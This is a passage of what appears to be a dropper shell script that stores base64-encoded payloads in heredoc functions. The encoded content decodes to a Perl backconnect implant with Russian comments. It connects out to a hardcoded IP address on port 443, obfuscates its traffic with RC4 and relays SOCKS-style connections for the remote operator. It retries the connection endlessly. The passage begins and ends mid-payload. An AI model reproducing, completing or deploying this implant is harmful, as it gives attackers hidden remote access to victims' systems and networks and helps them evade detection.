b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_63() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTgnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
